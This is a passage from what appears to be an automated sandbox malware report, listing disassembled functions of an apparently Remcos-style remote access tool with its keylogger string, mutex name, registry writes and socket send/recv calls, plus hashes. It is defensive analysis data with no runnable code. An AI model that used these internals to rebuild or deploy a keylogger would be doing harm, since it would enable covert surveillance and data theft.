Part of subcall function 1464C803: VirtualProtect.KERNEL32(?,00000078,00000004,?,00000000,00000000,1464C7F4,1464C7DD), ref: 1464C816
Part of subcall function 1464C803: VirtualProtect.KERNEL32(?,00000078,?,?,?,00000000,00000000,1464C7F4,1464C7DD), ref: 1464C82A

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-0
Opcode ID: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
Instruction ID: c5203219aca41bac0974659d549ffa4e6adbe310fc6c9950573c30589d04d48c
Opcode Fuzzy Hash: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
Instruction Fuzzy Hash: 00012E10A466417CBF1292740C00ABA6FD89B3367CB3F1B96E2009639BD9A08102C3AA

Uniqueness

Uniqueness Score: -1.00%

Function 1464C7A7 Relevance: 7.6, APIs: 5, Instructions: 100libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,1464C7DD), ref: 1464C838
GetProcAddress.KERNEL32(00000000,00000000), ref: 1464C860

Part of subcall function 1464C7E6: GetModuleHandleA.KERNEL32(1464C7DD), ref: 1464C7E6
Part of subcall function 1464C7E6: GetProcAddress.KERNEL32(00000000,1464C7F4), ref: 1464C804
Part of subcall function 1464C7E6: VirtualProtect.KERNEL32(?,00000078,00000004,?,00000000,00000000,1464C7F4,1464C7DD), ref: 1464C816
Part of subcall function 1464C7E6: VirtualProtect.KERNEL32(?,00000078,?,?,?,00000000,00000000,1464C7F4,1464C7DD), ref: 1464C82A

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-0
Opcode ID: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
Instruction ID: e544fa5d7c7215c7bca5cabc66d442ea05864200187e4b0b522e972b9f3213b1
Opcode Fuzzy Hash: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
Instruction Fuzzy Hash: 052138215096826FFF128B744C007A67FD89B33278F3F0696D140CB387D5A89445C3A6

Uniqueness

Uniqueness Score: -1.00%

Function 1234C3F1 Relevance: 7.6, APIs: 5, Instructions: 67fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000000,?,?,00000000,1234C510,00000000,00000000,?), ref: 1234C430
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,1233A8E7,?,00000000,00000000), ref: 1234C44D
CloseHandle.KERNEL32(00000000,?,1233A8E7,?,00000000,00000000), ref: 1234C459
WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,1233A8E7,?,00000000,00000000), ref: 1234C46A
FindCloseChangeNotification.KERNEL32(00000000,?,1233A8E7,?,00000000,00000000), ref: 1234C477

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: File$Close$ChangeCreateFindHandleNotificationPointerWrite
String ID:
API String ID: 1087594267-0
Opcode ID: 971053353e25b6904670b38f375eb60e243dc577aaa617686b3997ad261a9cc0
Instruction ID: 4f4be6a61cc221a60879e5af517593502eae7285e52f4a7b589323a744d1cec1
Opcode Fuzzy Hash: 971053353e25b6904670b38f375eb60e243dc577aaa617686b3997ad261a9cc0
Instruction Fuzzy Hash: D711E1B23452A17FE6024A249D8DEBB73DCEB82274FA04F69F191C63C1CA618C008731

Uniqueness

Uniqueness Score: -1.00%

Function 1464C803 Relevance: 7.6, APIs: 5, Instructions: 54librarymemoryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,1464C7F4), ref: 1464C804
VirtualProtect.KERNEL32(?,00000078,00000004,?,00000000,00000000,1464C7F4,1464C7DD), ref: 1464C816
VirtualProtect.KERNEL32(?,00000078,?,?,?,00000000,00000000,1464C7F4,1464C7DD), ref: 1464C82A
GetModuleHandleA.KERNEL32(?,1464C7DD), ref: 1464C838
GetProcAddress.KERNEL32(00000000,00000000), ref: 1464C860

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: AddressProcProtectVirtual$HandleModule
String ID:
API String ID: 2152742572-0
Opcode ID: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
Instruction ID: fab74682b50edfebb43a34ee3ff2b4fa14cb83d913b35c5c14fa00b6a3031982
Opcode Fuzzy Hash: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
Instruction Fuzzy Hash: ABF0F6516466417CFF1246B40C41EF65FCC8B37678B3E1A56E200C738BD895850683FA

Uniqueness

Uniqueness Score: -1.00%

Function 1233A179 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,1233A27D,?,00000000,00000000), ref: 1233A1FE
CreateThread.KERNEL32(00000000,00000000,1233A267,?,00000000,00000000), ref: 1233A20E
CreateThread.KERNEL32(00000000,00000000,1233A289,?,00000000,00000000), ref: 1233A21A

Part of subcall function 1233B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,?), ref: 1233B172
Part of subcall function 1233B164: wsprintfW.USER32 ref: 1233B1F3

Strings

Offline Keylogger Started, xrefs: 1233A19B, 1233A1A2, 1233A1CF

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: CreateThread$LocalTimewsprintf
String ID: Offline Keylogger Started
API String ID: 465354869-4114347211
Opcode ID: 29a63aabea44032cd08a569a44d33f43cba53c739f154cbf2edc129cee10dd39
Instruction ID: b59b18fdb3046b08177b5ae6337551e43faf632701e11fcb60f1a7b73eb48763
Opcode Fuzzy Hash: 29a63aabea44032cd08a569a44d33f43cba53c739f154cbf2edc129cee10dd39
Instruction Fuzzy Hash: B811CABB5002087EE275B7369C85CBF776DDA8129AB50061DF84642155EE216F09CAF2

Uniqueness

Uniqueness Score: -1.00%

Function 12334F51 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58timethreadCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(00000001,123A4EE0,123A5598,?,?,?,?,12345CD6,?,00000001), ref: 12334F81
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,123A4EE0,123A5598,?,?,?,?,12345CD6,?,00000001), ref: 12334FCD
CreateThread.KERNEL32(00000000,00000000,12335150,?,00000000,00000000), ref: 12334FE0

Strings

KeepAlive | Enabled | Timeout: , xrefs: 12334F94

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Create$EventLocalThreadTime
String ID: KeepAlive | Enabled | Timeout:
API String ID: 2532271599-1507639952
Opcode ID: 76611963143195156edef1685e4905481504dfdadfb6de474345d06651055905
Instruction ID: 5a1789b492e677f5856cf55d61907449179f6bea567c30a58505ecdad4ae6492
Opcode Fuzzy Hash: 76611963143195156edef1685e4905481504dfdadfb6de474345d06651055905
Instruction Fuzzy Hash: B111E37A8043886EDB22A7768C0CEEF7FACDBD6311F04460EE54196251DA706645CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 1234376F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38registryCOMMON

Download Yara Rule

APIs

RegCreateKeyA.ADVAPI32(80000001,00000000,?), ref: 1234377E
RegSetValueExA.KERNEL32(?,123974B8,00000000,?,00000000,00000000,123A52F0,?,?,1233F853,123974B8,4.9.4 Pro), ref: 123437A6
RegCloseKey.KERNEL32(?,?,?,1233F853,123974B8,4.9.4 Pro), ref: 123437B1

Strings

pth_unenc, xrefs: 12343773

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID: pth_unenc
API String ID: 1818849710-4028850238
Opcode ID: 2321a0d96a8d387a436bbcfad9b88ec25692159e380376124137589657c34457
Instruction ID: 6fad0df00cfc15c2d32ad180353f9f51bfa596f8b9060b0adf8531de107461e8
Opcode Fuzzy Hash: 2321a0d96a8d387a436bbcfad9b88ec25692159e380376124137589657c34457
Instruction Fuzzy Hash: F7F06DB2540118FBCB029FA0DC45EEA3B7CEF04651F208654FD49AA110EB31AF14EB90

Uniqueness

Uniqueness Score: -1.00%

Function 12334CC3 Relevance: 6.1, APIs: 4, Instructions: 121synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,00000000,?,00000000,?,?,000000FF,00000000,?,123A4F50), ref: 12334DB3
CreateThread.KERNEL32(00000000,00000000,?,123A4EF8,00000000,00000000), ref: 12334DC7
WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000), ref: 12334DD2
FindCloseChangeNotification.KERNEL32(00000000,?,00000000), ref: 12334DDB

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Create$ChangeCloseEventFindNotificationObjectSingleThreadWait
String ID:
API String ID: 2579639479-0
Opcode ID: 9d80ccc7d2379aca4bdba0294ba6cb2707412b22ff0e8fa57f0898a484bb289b
Instruction ID: 6b9276c6ff73d2ff96f3c841caf1330dda8f9e6fcc3d4b9b4e4c703475a35918
Opcode Fuzzy Hash: 9d80ccc7d2379aca4bdba0294ba6cb2707412b22ff0e8fa57f0898a484bb289b
Instruction Fuzzy Hash: 1D41B47A6483056FC766DB60CC54DBFB7EDEF84312F400A1DF592922A1DB20EA09C762

Uniqueness

Uniqueness Score: -1.00%

Function 1233A675 Relevance: 6.1, APIs: 4, Instructions: 58sleepfileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,1233A74D), ref: 1233A6AB
GetFileSize.KERNEL32(00000000,00000000,?,?,?,1233A74D), ref: 1233A6BA
Sleep.KERNEL32(00002710,?,?,?,1233A74D), ref: 1233A6E7
FindCloseChangeNotification.KERNEL32(00000000,?,?,?,1233A74D), ref: 1233A6EE

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: File$ChangeCloseCreateFindNotificationSizeSleep
String ID:
API String ID: 4068920109-0
Opcode ID: 35a06592033898afd6a939173cecd4257049bf0d8f44278e9b3455d394d8e44b
Instruction ID: 048675c99df3f6a57b6239930f342c5bb5aee1adf32037fadf182578a0a63786
Opcode Fuzzy Hash: 35a06592033898afd6a939173cecd4257049bf0d8f44278e9b3455d394d8e44b
Instruction Fuzzy Hash: ED115072E80354AEDA23562488D4A7E3B5EBB81357F000A18E287877C1C7616A47C361

Uniqueness

Uniqueness Score: -1.00%

Function 1234C485 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,00000000,1233A843), ref: 1234C49E
GetFileSize.KERNEL32(00000000,00000000), ref: 1234C4B2
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 1234C4D7
FindCloseChangeNotification.KERNEL32(00000000), ref: 1234C4E5

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: File$ChangeCloseCreateFindNotificationReadSize
String ID:
API String ID: 2135649906-0
Opcode ID: d76b6f5e23ff4ca299426cfe258b34abaa4837b6cec16f83a42ab5bdc06909e8
Instruction ID: c4004a89e94ce99d6a1ac9a909fb40b684ac8546c756ab93fd5d7bcb9470874b
Opcode Fuzzy Hash: d76b6f5e23ff4ca299426cfe258b34abaa4837b6cec16f83a42ab5bdc06909e8
Instruction Fuzzy Hash: 3EF0C2B23412187FE2121A209CC4FBB379CEBC66A5F110B29F942E23C0CA614D058231

Uniqueness

Uniqueness Score: -1.00%

Function 1233D069 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000001,00000000,1233EC08,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E,00000000,123960BC,00000003,00000000), ref: 1233D078
GetLastError.KERNEL32 ref: 1233D083

Strings

Rmc-W5UGP5, xrefs: 1233D069

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: CreateErrorLastMutex
String ID: Rmc-W5UGP5
API String ID: 1925916568-504190447
Opcode ID: eeebc4273c3c0fc154a895c596515bb875b38552ca0d397f456edab52f9fc7d5
Instruction ID: 67b21f168588dbe5647b6d1c1fb3f5ad9c83da0eb4b74c57492f41a8211bc7a8
Opcode Fuzzy Hash: eeebc4273c3c0fc154a895c596515bb875b38552ca0d397f456edab52f9fc7d5
Instruction Fuzzy Hash: 2CD012F5AA42249FD7191770C8D976C3DA897D4702F400929F40BC9AC0DB6485908A12

Uniqueness

Uniqueness Score: -1.00%

Function 12334AA1 Relevance: 4.6, APIs: 3, Instructions: 93synchronizationnetworkCOMMON

Download Yara Rule

APIs

send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 12334B36
WaitForSingleObject.KERNEL32(00000000,00000000,1233547D,?,?,00000004,?,?,00000004,?,123A4EF8,?), ref: 12334B47
SetEvent.KERNEL32(00000000,?,?,00000004,?,?,00000004,?,123A4EF8,?,?,?,?,?,?,1233547D), ref: 12334B75

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: EventObjectSingleWaitsend
String ID:
API String ID: 3963590051-0
Opcode ID: 282dfe3da2cb70833376d5180a853a292da27e8d4d04278f977175055ae709d8
Instruction ID: ce325d75e1f1e4dd22e728b6c8ca8cd5b6b9d8c45989e4929eab1b65786b2d2c
Opcode Fuzzy Hash: 282dfe3da2cb70833376d5180a853a292da27e8d4d04278f977175055ae709d8
Instruction Fuzzy Hash: 7C2141B7900119ABCF56DBA4EC84DFEBB7CBF18311B004615E915A21A0EF34BB15CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 123435A6 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 123435CA
RegQueryValueExA.KERNEL32(?,?,00000000,00000000,?,00000400), ref: 123435E7
RegCloseKey.KERNEL32(?), ref: 123435F2

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: f7f2f3f922c4b1e51db39a58948e74797524069b4c8b00cdb43833a810676091
Instruction ID: 136d57eac59c77ed4ac2bdd0153f07055c0c198c618dd0da6eaeaea7a2aa51a3
Opcode Fuzzy Hash: f7f2f3f922c4b1e51db39a58948e74797524069b4c8b00cdb43833a810676091
Instruction Fuzzy Hash: 740186BB900129BBDB219B95CC89DDE7FBDDB84250F104195FB09E7200DB359E15DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 123436F8 Relevance: 4.5, APIs: 3, Instructions: 42registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000,123A52F0), ref: 12343714
RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000208,?), ref: 1234372D
RegCloseKey.KERNEL32(00000000), ref: 12343738

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: b3ff98c9637f53751019f5f0b0d9d9efc3afb98dab8f76f8e01c647d9ec2ca56
Instruction ID: 4d7aa2fded3ceff8c412f2c4a6c2098e86c7cb7db4057d6bf1875e39727c63c5
Opcode Fuzzy Hash: b3ff98c9637f53751019f5f0b0d9d9efc3afb98dab8f76f8e01c647d9ec2ca56
Instruction Fuzzy Hash: 8C014BB6440129BFCF225FA1CC48DEA7F7CEF05761F104694FE0866120D6318A65EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 12343549 Relevance: 4.5, APIs: 3, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 12343569
RegQueryValueExA.KERNEL32(?,?,00000000,00000000,00000000,?,123A52F0), ref: 12343587
RegCloseKey.KERNEL32(?), ref: 12343592

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 2f07525319f8408581c07205b845cc3e2855e58be5128fdf2315596be54abba2
Instruction ID: 32bb83332bfa9cc04af54ad965fe369f5430167ba563337b2ab838697676f66e
Opcode Fuzzy Hash: 2f07525319f8408581c07205b845cc3e2855e58be5128fdf2315596be54abba2
Instruction Fuzzy Hash: C3F017B6940218FFDF119FA09C45FEEBBBCEB44710F2041A5FA08EA241E6315B14AB90

Uniqueness

Uniqueness Score: -1.00%

Function 123434FF Relevance: 4.5, APIs: 3, Instructions: 32registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?,00000000,?,?,1233C19C,12396C48), ref: 12343516
RegQueryValueExA.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,1233C19C,12396C48), ref: 1234352A
RegCloseKey.KERNEL32(?,?,?,1233C19C,12396C48), ref: 12343535

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: ec45fe777171cfab8b809097f28f27dd42d4f6dbe03a3e872828e0f238579608
Instruction ID: 6e5ed8f64ec05aab69d00bd4c8c2ebd0556c43b0af6f484a1d8ae0ec9ecf4157
Opcode Fuzzy Hash: ec45fe777171cfab8b809097f28f27dd42d4f6dbe03a3e872828e0f238579608
Instruction Fuzzy Hash: 60E093B2441134FBDF214B929C4DED77F6CDF457A07100184FD0C56101D6214E10D5F0

Uniqueness

Uniqueness Score: -1.00%

Function 12343877 Relevance: 4.5, APIs: 3, Instructions: 30registryCOMMON

Download Yara Rule

APIs

RegCreateKeyA.ADVAPI32(80000001,00000000,123960A4), ref: 12343885
RegSetValueExA.KERNEL32(123960A4,000000AF,00000000,00000004,00000001,00000004,?,?,?,1233C152,12396C48,00000001,000000AF,123960A4), ref: 123438A0
RegCloseKey.ADVAPI32(123960A4,?,?,?,1233C152,12396C48,00000001,000000AF,123960A4), ref: 123438AB

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID:
API String ID: 1818849710-0
Opcode ID: c66fb929b386eb7d451f9625fb16d6a1a75e79b8625389a9106a6b840c11f87c
Instruction ID: 637ba79159528cfb63f4e62c0f9a75f0be4675999e0fd4ff5badfe3e40ccab38
Opcode Fuzzy Hash: c66fb929b386eb7d451f9625fb16d6a1a75e79b8625389a9106a6b840c11f87c
Instruction Fuzzy Hash: 80E065B2540218FBEF125F908C45FDA7B6CDF44750F104694FF08AA241D7318F189790

Uniqueness

Uniqueness Score: -1.00%

Function 12334B96 Relevance: 4.5, APIs: 3, Instructions: 28synchronizationnetworkCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000000FF,?,123A4EF8,12334C49,00000000,00000000,00000000,?,123A4EF8,?), ref: 12334BA5
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,1233548B), ref: 12334BC3
recv.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 12334BDA

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: EventObjectSingleWaitrecv
String ID:
API String ID: 311754179-0
Opcode ID: 3103486ce0c473fc08846a237ebf27752cc9fa34c563c3b5aa6c7a27da9d5640
Instruction ID: 18285103b3e8cff4d0dabdd08dc74060138eaf3938ecc5d758678325dd84f3e6
Opcode Fuzzy Hash: 3103486ce0c473fc08846a237ebf27752cc9fa34c563c3b5aa6c7a27da9d5640
Instruction Fuzzy Hash: 50F0827B108122BFDB168B10EC49E49FBAAFF84721F108719F554522A08771FC20CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1234B7B6 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?), ref: 1234B7CA

Strings

@, xrefs: 1234B7C0

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: GlobalMemoryStatus
String ID: @
API String ID: 1890195054-2766056989
Opcode ID: a036a345f30bf25ecfe0758cb2782774fd381fa667e684a75faaf845e31ee1a5
Instruction ID: 282991f77563a7be06d76186f3c3b75335129a32d76268e2cbfcdba1e71fb755
Opcode Fuzzy Hash: a036a345f30bf25ecfe0758cb2782774fd381fa667e684a75faaf845e31ee1a5
Instruction Fuzzy Hash: 20D017B580232CDFC720DFA8E844A8DBBFCFB08210F00456AED49E3700E770A8008B84

Uniqueness

Uniqueness Score: -1.00%

Function 12345AEA Relevance: 3.2, APIs: 2, Instructions: 163COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,?), ref: 12345B0F
GetTickCount.KERNEL32 ref: 12345B86

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: CountEventTick
String ID:
API String ID: 180926312-0
Opcode ID: badd25df68cb9b8ff8bfd47f7d630d310c80acd28ce9e07d2ecbdef5cb2702f1
Instruction ID: a292a64b014ee10d98d040836429e254137e8ea962d5017f60515fe3ae44ad8d
Opcode Fuzzy Hash: badd25df68cb9b8ff8bfd47f7d630d310c80acd28ce9e07d2ecbdef5cb2702f1
Instruction Fuzzy Hash: 52516E3B5083405AC7BAEB21D890ABFB3E5AF91711F504A6DD586871D4EF307A09C642

Uniqueness

Uniqueness Score: -1.00%

Function 1233482D Relevance: 3.0, APIs: 2, Instructions: 40networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 12334852
